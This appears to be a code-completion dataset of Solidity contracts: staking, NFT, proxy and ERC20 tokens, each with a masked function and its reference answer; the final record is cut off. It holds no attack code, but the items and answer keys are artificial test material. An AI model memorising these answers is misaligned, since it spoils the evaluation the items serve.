multiplier.mul(sleepPerBlock).mul(pool.allocPoint).div(totalAllocPoint).div(getHalvingFactor()); accSleepPerShare = accSleepPerShare.add(sleepReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accSleepPerShare).div(1e12).sub(user.rewardDebt); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number); uint256 sleepReward = multiplier.mul(sleepPerBlock).mul(pool.allocPoint).div(totalAllocPoint).div(getHalvingFactor()); sleep.mint(devaddr, sleepReward.div(10)); sleep.mint(address(this), sleepReward); pool.accSleepPerShare = pool.accSleepPerShare.add(sleepReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Deposit LP tokens to MasterBedroom for SLEEP allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accSleepPerShare).div(1e12).sub(user.rewardDebt); safeSleepTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.startStakeTime = ((user.startStakeTime.mul(user.amount)).add(_amount.mul(block.number))).div(user.amount.add(_amount)); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accSleepPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MasterBedroom. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accSleepPerShare).div(1e12).sub(user.rewardDebt); safeSleepTransfer(msg.sender, pending); uint256 extraReward = getExtraReward(_pid, user.startStakeTime, block.number, _amount).div(getHalvingFactor()); sleep.mint(msg.sender, extraReward); // stake time based reward sleep.mint(devaddr, extraReward.div(10)); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accSleepPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } function getHalvingFactor() public view returns (uint256) { if (block.number < startBlock) { return 1; } return 2 ** ((block.number - startBlock) / 100000); // halve per 100000 blocks } function getExtraRewardForUser(uint256 _pid, address _userAddress) public view returns(uint256) { UserInfo storage user = userInfo[_pid][_userAddress]; return getExtraReward(_pid, user.startStakeTime, block.number, user.amount); } // get stake time based extra reward function getExtraReward(uint256 _pid, uint256 startStakeBlock, uint256 endBlock, uint256 numLPTokens) public view returns(uint256){ if(startStakeBlock > endBlock) { return 0; } PoolInfo storage pool = poolInfo[_pid]; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { return 0; } uint256 extraRewardBlockInterval = endBlock.sub(startStakeBlock) > MAX_EXTRA_REWARD_BLOCK_INTERVAL ? MAX_EXTRA_REWARD_BLOCK_INTERVAL : endBlock.sub(startStakeBlock); uint256 extraReward = extraRewardBlockInterval.mul(extraRewardBlockInterval).mul(extraSleepPerBlock).div(poolInfo.length).mul(numLPTokens).div(lpSupply).div(10000).div(getHalvingFactor()); uint256 maxExtraReward = maxExtraReward.div(getHalvingFactor()).mul(extraRewardBlockInterval).mul(extraRewardBlockInterval).div(MAX_EXTRA_REWARD_BLOCK_INTERVAL).div(MAX_EXTRA_REWARD_BLOCK_INTERVAL); return extraReward; } // get stake time based extra reward function getMaxExtraReward(uint256 _pid, uint256 startStakeBlock, uint256 endBlock) public view returns(uint256){ if(startStakeBlock > endBlock) { return 0; } uint256 extraRewardBlockInterval = endBlock.sub(startStakeBlock) > MAX_EXTRA_REWARD_BLOCK_INTERVAL ? MAX_EXTRA_REWARD_BLOCK_INTERVAL : endBlock.sub(startStakeBlock); uint256 maxExtraReward = maxExtraReward.div(getHalvingFactor()).mul(extraRewardBlockInterval).mul(extraRewardBlockInterval).div(MAX_EXTRA_REWARD_BLOCK_INTERVAL).div(MAX_EXTRA_REWARD_BLOCK_INTERVAL); return maxExtraReward; } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe Sleep transfer function, just in case if rounding error causes pool to not have enough SLEEPs. function safeSleepTransfer(address _to, uint256 _amount) internal { uint256 sleepBal = sleep.balanceOf(address(this)); if (_amount > sleepBal) { sleep.transfer(_to, sleepBal); } else { sleep.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public onlyOwner { devaddr = _devaddr; } // Set the migrator contract. Can only be called by the owner. function setMigrator(IMigratorChef _migrator) public onlyOwner { migrator = _migrator; } // Migrate lp token to another lp contract. Can be called by anyone. We trust that migrator contract is good. function migrate(uint256 _pid) public { require(address(migrator) != address(0), "migrate: no migrator"); PoolInfo storage pool = poolInfo[_pid]; IERC20 lpToken = pool.lpToken; uint256 bal = lpToken.balanceOf(address(this)); lpToken.safeApprove(address(migrator), bal); IERC20 newLpToken = migrator.migrate(lpToken); require(bal == newLpToken.balanceOf(address(this)), "migrate: bad"); pool.lpToken = newLpToken; } }
if (_to <= bonusEndBlock) { return _to.sub(_from).mul(BONUS_MULTIPLIER); } else if (_from >= bonusEndBlock) { return _to.sub(_from); } else { return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add( _to.sub(bonusEndBlock) ); }
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256)
// Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256)
22892
HogeNFTv3
null
contract HogeNFTv3 is Context, AccessControl, ERC721 { using Counters for Counters.Counter; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); Counters.Counter private _tokenIdTracker; address private _owner; event Received(address, uint); event Mint(address from, address to, string uri); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); receive() external payable { emit Received(msg.sender, msg.value); } constructor(string memory name, string memory symbol, string memory baseURI) public ERC721(name, symbol) {<FILL_FUNCTION_BODY> } function mint(address to, string memory uri) public returns (uint) { emit Mint(_msgSender(), to, uri); require(hasRole(MINTER_ROLE, _msgSender()), "Must have minter role to mint"); _safeMint(to, _tokenIdTracker.current()); _setTokenURI(_tokenIdTracker.current(), uri); _tokenIdTracker.increment(); } function burn(uint256 tokenId) public virtual { require(_isApprovedOrOwner(_msgSender(), tokenId), "Burn: Caller is not owner nor approved"); _burn(tokenId); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721) { super._beforeTokenTransfer(from, to, tokenId); } // Begin Ownable interface from openzeppelin // Primarily used for OpenSea storefront management, AccessControl is used for choosing who can mint. // Owner, MINTER_ROLE, PAUSER_ROLE can all be separate addresses! function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function contractURI() public view returns (string memory) { return "https://www.hogemint.com/uri/contract-HogeNFTv3"; } }
contract HogeNFTv3 is Context, AccessControl, ERC721 { using Counters for Counters.Counter; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); Counters.Counter private _tokenIdTracker; address private _owner; event Received(address, uint); event Mint(address from, address to, string uri); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); receive() external payable { emit Received(msg.sender, msg.value); } <FILL_FUNCTION> function mint(address to, string memory uri) public returns (uint) { emit Mint(_msgSender(), to, uri); require(hasRole(MINTER_ROLE, _msgSender()), "Must have minter role to mint"); _safeMint(to, _tokenIdTracker.current()); _setTokenURI(_tokenIdTracker.current(), uri); _tokenIdTracker.increment(); } function burn(uint256 tokenId) public virtual { require(_isApprovedOrOwner(_msgSender(), tokenId), "Burn: Caller is not owner nor approved"); _burn(tokenId); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721) { super._beforeTokenTransfer(from, to, tokenId); } // Begin Ownable interface from openzeppelin // Primarily used for OpenSea storefront management, AccessControl is used for choosing who can mint. // Owner, MINTER_ROLE, PAUSER_ROLE can all be separate addresses! function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function contractURI() public view returns (string memory) { return "https://www.hogemint.com/uri/contract-HogeNFTv3"; } }
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); _setBaseURI(baseURI);
constructor(string memory name, string memory symbol, string memory baseURI) public ERC721(name, symbol)
constructor(string memory name, string memory symbol, string memory baseURI) public ERC721(name, symbol)
37603
PLCRVotingCheckpointProxy
null
contract PLCRVotingCheckpointProxy is PLCRVotingCheckpointStorage, VotingCheckpointStorage, ModuleStorage, Pausable, OwnedUpgradeabilityProxy { /** * @notice Constructor * @param _securityToken Address of the security token * @param _polyAddress Address of the polytoken * @param _implementation representing the address of the new implementation to be set */ constructor( string memory _version, address _securityToken, address _polyAddress, address _implementation ) public ModuleStorage(_securityToken, _polyAddress) {<FILL_FUNCTION_BODY> } }
contract PLCRVotingCheckpointProxy is PLCRVotingCheckpointStorage, VotingCheckpointStorage, ModuleStorage, Pausable, OwnedUpgradeabilityProxy { <FILL_FUNCTION> }
require(_implementation != address(0), "Implementation address should not be 0x"); _upgradeTo(_version, _implementation);
constructor( string memory _version, address _securityToken, address _polyAddress, address _implementation ) public ModuleStorage(_securityToken, _polyAddress)
/** * @notice Constructor * @param _securityToken Address of the security token * @param _polyAddress Address of the polytoken * @param _implementation representing the address of the new implementation to be set */ constructor( string memory _version, address _securityToken, address _polyAddress, address _implementation ) public ModuleStorage(_securityToken, _polyAddress)
49348
FixedSupplyToken
approveAndCall
contract FixedSupplyToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "NTC"; name = "Nextcoin"; decimals = 18; _totalSupply = 30000000000000000000000000; balances[0xb2ff81ACB8150D556C9C9A399A19DBEA1ebf63E7] = _totalSupply; emit Transfer(address(0), 0xb2ff81ACB8150D556C9C9A399A19DBEA1ebf63E7, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {<FILL_FUNCTION_BODY> } function () external payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract FixedSupplyToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "NTC"; name = "Nextcoin"; decimals = 18; _totalSupply = 30000000000000000000000000; balances[0xb2ff81ACB8150D556C9C9A399A19DBEA1ebf63E7] = _totalSupply; emit Transfer(address(0), 0xb2ff81ACB8150D556C9C9A399A19DBEA1ebf63E7, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } <FILL_FUNCTION> function () external payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true;
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success)
function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success)
5397
BasicToken
transfer
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) {<FILL_FUNCTION_BODY> } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } }
contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; <FILL_FUNCTION> /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } }
balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) public returns (bool)
/** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool)
66948
Matrioska
ownerBurnToken
contract Matrioska is ERC20,MatrioskaToken,Ownable { using SafeMath for uint256; string public name = "Matrioska Token"; string public symbol = "MAT"; uint public decimals = 10; uint public chainStartTime; //chain start time uint public chainStartBlockNumber; //chain start block number uint public stakeStartTime; //stake start time uint public stakeMinAge = 3 days; // minimum age for coin age: 3D uint public stakeMaxAge = 90 days; // stake age of full weight: 90D uint public maxMintProofOfStake = 10**16; // default 10% annual interest uint public totalSupply; uint public maxTotalSupply; uint public totalInitialSupply; struct transferInStruct{ uint128 amount; uint64 time; } mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; mapping(address => transferInStruct[]) transferIns; event Burn(address indexed burner, uint256 value); /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4); _; } modifier canPoSMint() { require(totalSupply < maxTotalSupply); _; } function Matrioska() { maxTotalSupply = 10**19; // 1 bil. totalInitialSupply = 10**18; // 100 Mil. chainStartTime = now; chainStartBlockNumber = block.number; balances[msg.sender] = totalInitialSupply; totalSupply = totalInitialSupply; } function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool) { if(msg.sender == _to) return mint(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender]; uint64 _now = uint64(now); transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now)); transferIns[_to].push(transferInStruct(uint128(_value),_now)); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool) { require(_to != address(0)); var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); if(transferIns[_from].length > 0) delete transferIns[_from]; uint64 _now = uint64(now); transferIns[_from].push(transferInStruct(uint128(balances[_from]),_now)); transferIns[_to].push(transferInStruct(uint128(_value),_now)); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function mint() canPoSMint returns (bool) { if(balances[msg.sender] <= 0) return false; if(transferIns[msg.sender].length <= 0) return false; uint reward = getProofOfStakeReward(msg.sender); if(reward <= 0) return false; totalSupply = totalSupply.add(reward); balances[msg.sender] = balances[msg.sender].add(reward); delete transferIns[msg.sender]; transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now))); Mint(msg.sender, reward); return true; } function getBlockNumber() returns (uint blockNumber) { blockNumber = block.number.sub(chainStartBlockNumber); } function coinAge() constant returns (uint myCoinAge) { myCoinAge = getCoinAge(msg.sender,now); } function annualInterest() constant returns(uint interest) { uint _now = now; interest = maxMintProofOfStake; if((_now.sub(stakeStartTime)).div(1 years) == 0) { interest = (770 * maxMintProofOfStake).div(100); } else if((_now.sub(stakeStartTime)).div(1 years) == 1){ interest = (435 * maxMintProofOfStake).div(100); } } function getProofOfStakeReward(address _address) internal returns (uint) { require( (now >= stakeStartTime) && (stakeStartTime > 0) ); uint _now = now; uint _coinAge = getCoinAge(_address, _now); if(_coinAge <= 0) return 0; uint interest = maxMintProofOfStake; // Due to the high interest rate for the first two years, compounding should be taken into account. // Effective annual interest rate = (1 + (nominal rate / number of compounding periods)) ^ (number of compounding periods) - 1 if((_now.sub(stakeStartTime)).div(1 years) == 0) { // 1st year effective annual interest rate is 100% when we select the stakeMaxAge (90 days) as the compounding period. interest = (770 * maxMintProofOfStake).div(100); } else if((_now.sub(stakeStartTime)).div(1 years) == 1){ // 2nd year effective annual interest rate is 50% interest = (435 * maxMintProofOfStake).div(100); } return (_coinAge * interest).div(365 * (10**decimals)); } function getCoinAge(address _address, uint _now) internal returns (uint _coinAge) { if(transferIns[_address].length <= 0) return 0; for (uint i = 0; i < transferIns[_address].length; i++){ if( _now < uint(transferIns[_address][i].time).add(stakeMinAge) ) continue; uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time)); if( nCoinSeconds > stakeMaxAge ) nCoinSeconds = stakeMaxAge; _coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days)); } } function ownerSetStakeStartTime(uint timestamp) onlyOwner { require((stakeStartTime <= 0) && (timestamp >= chainStartTime)); stakeStartTime = timestamp; } function ownerBurnToken(uint _value) onlyOwner {<FILL_FUNCTION_BODY> } /* Batch token transfer. Used by contract creator to distribute initial tokens to holders */ function batchTransfer(address[] _recipients, uint[] _values) onlyOwner returns (bool) { require( _recipients.length > 0 && _recipients.length == _values.length); uint total = 0; for(uint i = 0; i < _values.length; i++){ total = total.add(_values[i]); } require(total <= balances[msg.sender]); uint64 _now = uint64(now); for(uint j = 0; j < _recipients.length; j++){ balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]); transferIns[_recipients[j]].push(transferInStruct(uint128(_values[j]),_now)); Transfer(msg.sender, _recipients[j], _values[j]); } balances[msg.sender] = balances[msg.sender].sub(total); if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender]; if(balances[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now)); return true; } }
contract Matrioska is ERC20,MatrioskaToken,Ownable { using SafeMath for uint256; string public name = "Matrioska Token"; string public symbol = "MAT"; uint public decimals = 10; uint public chainStartTime; //chain start time uint public chainStartBlockNumber; //chain start block number uint public stakeStartTime; //stake start time uint public stakeMinAge = 3 days; // minimum age for coin age: 3D uint public stakeMaxAge = 90 days; // stake age of full weight: 90D uint public maxMintProofOfStake = 10**16; // default 10% annual interest uint public totalSupply; uint public maxTotalSupply; uint public totalInitialSupply; struct transferInStruct{ uint128 amount; uint64 time; } mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; mapping(address => transferInStruct[]) transferIns; event Burn(address indexed burner, uint256 value); /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { require(msg.data.length >= size + 4); _; } modifier canPoSMint() { require(totalSupply < maxTotalSupply); _; } function Matrioska() { maxTotalSupply = 10**19; // 1 bil. totalInitialSupply = 10**18; // 100 Mil. chainStartTime = now; chainStartBlockNumber = block.number; balances[msg.sender] = totalInitialSupply; totalSupply = totalInitialSupply; } function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool) { if(msg.sender == _to) return mint(); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender]; uint64 _now = uint64(now); transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now)); transferIns[_to].push(transferInStruct(uint128(_value),_now)); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool) { require(_to != address(0)); var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); if(transferIns[_from].length > 0) delete transferIns[_from]; uint64 _now = uint64(now); transferIns[_from].push(transferInStruct(uint128(balances[_from]),_now)); transferIns[_to].push(transferInStruct(uint128(_value),_now)); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function mint() canPoSMint returns (bool) { if(balances[msg.sender] <= 0) return false; if(transferIns[msg.sender].length <= 0) return false; uint reward = getProofOfStakeReward(msg.sender); if(reward <= 0) return false; totalSupply = totalSupply.add(reward); balances[msg.sender] = balances[msg.sender].add(reward); delete transferIns[msg.sender]; transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now))); Mint(msg.sender, reward); return true; } function getBlockNumber() returns (uint blockNumber) { blockNumber = block.number.sub(chainStartBlockNumber); } function coinAge() constant returns (uint myCoinAge) { myCoinAge = getCoinAge(msg.sender,now); } function annualInterest() constant returns(uint interest) { uint _now = now; interest = maxMintProofOfStake; if((_now.sub(stakeStartTime)).div(1 years) == 0) { interest = (770 * maxMintProofOfStake).div(100); } else if((_now.sub(stakeStartTime)).div(1 years) == 1){ interest = (435 * maxMintProofOfStake).div(100); } } function getProofOfStakeReward(address _address) internal returns (uint) { require( (now >= stakeStartTime) && (stakeStartTime > 0) ); uint _now = now; uint _coinAge = getCoinAge(_address, _now); if(_coinAge <= 0) return 0; uint interest = maxMintProofOfStake; // Due to the high interest rate for the first two years, compounding should be taken into account. // Effective annual interest rate = (1 + (nominal rate / number of compounding periods)) ^ (number of compounding periods) - 1 if((_now.sub(stakeStartTime)).div(1 years) == 0) { // 1st year effective annual interest rate is 100% when we select the stakeMaxAge (90 days) as the compounding period. interest = (770 * maxMintProofOfStake).div(100); } else if((_now.sub(stakeStartTime)).div(1 years) == 1){ // 2nd year effective annual interest rate is 50% interest = (435 * maxMintProofOfStake).div(100); } return (_coinAge * interest).div(365 * (10**decimals)); } function getCoinAge(address _address, uint _now) internal returns (uint _coinAge) { if(transferIns[_address].length <= 0) return 0; for (uint i = 0; i < transferIns[_address].length; i++){ if( _now < uint(transferIns[_address][i].time).add(stakeMinAge) ) continue; uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time)); if( nCoinSeconds > stakeMaxAge ) nCoinSeconds = stakeMaxAge; _coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days)); } } function ownerSetStakeStartTime(uint timestamp) onlyOwner { require((stakeStartTime <= 0) && (timestamp >= chainStartTime)); stakeStartTime = timestamp; } <FILL_FUNCTION> /* Batch token transfer. Used by contract creator to distribute initial tokens to holders */ function batchTransfer(address[] _recipients, uint[] _values) onlyOwner returns (bool) { require( _recipients.length > 0 && _recipients.length == _values.length); uint total = 0; for(uint i = 0; i < _values.length; i++){ total = total.add(_values[i]); } require(total <= balances[msg.sender]); uint64 _now = uint64(now); for(uint j = 0; j < _recipients.length; j++){ balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]); transferIns[_recipients[j]].push(transferInStruct(uint128(_values[j]),_now)); Transfer(msg.sender, _recipients[j], _values[j]); } balances[msg.sender] = balances[msg.sender].sub(total); if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender]; if(balances[msg.sender] > 0) transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now)); return true; } }
require(_value > 0); balances[msg.sender] = balances[msg.sender].sub(_value); delete transferIns[msg.sender]; transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now))); totalSupply = totalSupply.sub(_value); totalInitialSupply = totalInitialSupply.sub(_value); maxTotalSupply = maxTotalSupply.sub(_value*10); Burn(msg.sender, _value);
function ownerBurnToken(uint _value) onlyOwner
function ownerBurnToken(uint _value) onlyOwner
55457
LeifengMedals
burnFrom
contract LeifengMedals { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function LeifengMedals( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` on behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens on your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * 